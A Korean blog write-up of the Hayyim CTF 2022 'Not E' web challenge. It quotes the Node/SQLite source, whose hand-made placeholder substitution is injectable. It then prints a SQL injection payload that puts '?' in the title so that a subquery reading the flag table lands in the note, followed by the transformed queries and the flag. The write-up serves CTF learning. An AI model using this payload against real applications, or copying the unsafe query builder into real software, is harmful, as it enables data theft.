ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] Hayyim CTF 2022 Not E Writeup
    CTF/Hayyim CTF 2022 2022. 2. 13. 11:32

    주어진 페이지에 접근해보면 아래와같이 로그인 후 노트를 기록할수있는 페이지가 나타난다.

     

    주어진 소스를 분석해보자.

    app.js를 보면 prepareStatement와 유사하게 안전하게 처리되어있는 듯 보인다.

    const crypto = require('crypto');
    const express = require('express');
    const session = require('express-session');
    const bodyParser = require('body-parser');
    
    const { Database, md5, checkParam } = require('./utils');
    
    const app = express();
    const db = new Database(':memory:');
    
    app.set('view engine', 'ejs')
    
    app.use(bodyParser.urlencoded({
      extended: false
    }));
    
    app.use(session({
      secret: crypto.randomBytes(32).toString()
    }));
    
    app.all('/login', async (req, res) => {
      if (req.method !== 'POST') {
        return res.render('login');
      }
    
      const { username, password } = req.body;
    
      if (!checkParam(username) || !checkParam(password)) {
        return res.redirect('?message=invalid argument');
      }
    
      const result = await db.get('select username, password from members where username = ?', [
        username
      ]);
    
      if (!result) {
        await db.run('insert into members values (?, ?)', [ username, md5(password) ]);
      } else if (result.password !== md5(password)) {
        return res.redirect('?message=incorrect password');
      }
    
      req.session.login = username;
      res.redirect('/');
    });
    
    app.use((req, res, next) => {
      if (!req.session.login) {
        res.redirect('/login');
      }
    
      next();
    });
    
    app.use('/logout', (req, res) => {
      delete req.session.login;
    
      res.redirect('/login');
    });
    
    app.get('/', async (req, res) => {
      const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]);
    
      res.render('list', { notes, auth: true });
    });
    
    app.all('/new', async (req, res) => {
      if (req.method !== 'POST') {
        return res.render('new', { auth: true });
      }
    
      const { title, content } = req.body;
      console.log("[*] title = "+title);
      console.log("[*] typeof title = "+(typeof title));
      console.log("[*] content = "+content);
      console.log("[*] typeof content = "+(typeof content))
    
    
      if (!checkParam(title) || !checkParam(content)) {
        return res.redirect('?message=invalid argument');
      }
    
      const noteId = md5(title + content);
    
      await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
    
      return res.redirect('/?message=successfully created');
    });
    
    app.get('/view/:noteId', async (req, res) => {
      const { noteId } = req.params;
      console.log("[*] noteId = "+noteId)
      console.log("[*] typeofnoteId = "+(typeof noteId))
      const note = await db.get('select * from posts where id = ?', [ noteId ]);
    
      if (!note) {
        return res.redirect('/?message=invalid note');
      }
    
      res.render('view', { note, auth: true });
    });
    
    app.listen(1000);

    하지만 util.js에서 특이한점을 발견했다.

    const sqlite3 = require('sqlite3');
    const flag = require('fs').readFileSync('/flag').toString();
    
    class Database {
      constructor(filename) {
        this.db = new sqlite3.Database(filename);
    
        this.db.serialize(() => {
          this.run('create table members (username text, password text)');
          this.run('create table posts (id text, title text, content text, owner text)');
          this.run('create table flag (flag text)'); ##### .......................... (1)
          this.run('insert into flag values (?)', [ flag ]);
        });
      }
    
      run(...params) {
        return new Promise((resolve) => {
          this.db.serialize(() => {
            this.db.run(this.#formatQuery(...params), (_, res) => {
              resolve(res);
            });
          });
        });
      }
    
      get(...params) {
        return new Promise((resolve) => {
          this.db.serialize(() => {
            this.db.get(this.#formatQuery(...params), (_, res) => {
              resolve(res);
            });
          });
        });
      }
    
      getAll(...params) {
        return new Promise((resolve) => {
          this.db.serialize(() => {
            this.db.all(this.#formatQuery(...params), (_, res) => {
              resolve(res);
            });
          });
        });
      }
    
      #formatQuery(sql, params = []) { ##### .......................................... (2)
        let a = 0;
        for (const param of params) {
          if (typeof param === 'number') {
          } else if (typeof param === 'string') {
            sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
          } else {
            sql = sql.replace('?', ""); // unreachable
          }
          a++;
        }
        return sql;
      };
    }
    
    const checkParam = (param) => {
      if (typeof param !== 'string' || param.length === 0 || param.length > 256) {
        return false;
      }
    
      return true;
    };
    
    module.exports = {
      Database,
      checkParam,
      md5: require('md5')
    };

    (2)와 같이 구문이 안전한지 여부 검사 후 적용시키는 #formatQuery라는 내용을 직접 구현했다.

    사용자 입력 값이 string type 일때 " 와 \ 를 제거하고 ? 에 Replace 시킨다는 내용이다.

     

    처음에는 서버에서 number type으로 인식시키면 바로 sqli가 가능하다고 보여져서 이쪽으로 삽질을 했으나 실패했다. Content-type을 바꿔보는 등 여러 시도를 해보았으나 undefined 로 인식하거나 String으로 인식하는것이 전부였다.

    이 과정을 통해 얻은점은 JSON.stringfy() 메서드는 양끝에 " 를 추가한다는 것이다.

     

    number type에 대한 집착을 버리고 다시 sql injection 방법을 고민해봤다. 소스코드를 다시 한 번 찬찬히 분석해보니 취약 포인트를 알 수 있었다.

     

    note가 기록되는 부분은 아래와 같이 호출되며, 

    await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

    #formatQuery는 여러 파라미터를 처리할때 ?를 사용자 입력값으로 바꾸는 것을 "반복적"으로 수행한다.

    #formatQuery(sql, params = []) {
        let a = 0;
        for (const param of params) {
          if (typeof param === 'number') {
            sql = sql.replace('?', param);
          } else if (typeof param === 'string') {
            sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));)))
          } else {
            console.log("[*] sql unreachable = "+sql)
          }
          a++;
        }
        return sql;
      };

     

    따라서, 아래와 같이 title과 content를 입력하면,

     

     입력한 payload는 다음고 같이 처리될 것이다.

    ?
    ||'ThisIsTitle',(select flag from flag),'vardy')-- -
         title       content에 삽입될 서브쿼리    owner

     

    좀 더 자세하게 보면 우선 첫번 째 ?가 noteId로 입력되고 

    insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ?, ?, ?)

    title에 ? 를 입력했으므로 "?" 로 변환되어 두번째 ? 자리에 적용된다.

    insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", "?", ?, ?)

    content에 입력한 값은 이제 세번째 ? 가 아닌 "?" 안에 있는 물음표에 적용되어 Sql injection이 발생한다.

    insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ""||'ThisIsTitle',(select flag from flag),'vardy')-- -"", ?, ?)

    이는 아래와 같이 처리되어 노트에 플래그가 기록된다.

    insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", 'ThisIsTitle', (select flag from flag),'vardy')

    로컬 서버 구축 후 테스트 과정

     

     

    FLAG = hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}

    반응형

    'CTF > Hayyim CTF 2022' 카테고리의 다른 글

    [Clear] Hayyim CTF 2022 Cyberchef, Cyber Headchef Writeup  (0) 2022.02.12

    댓글

Designed by Tistory.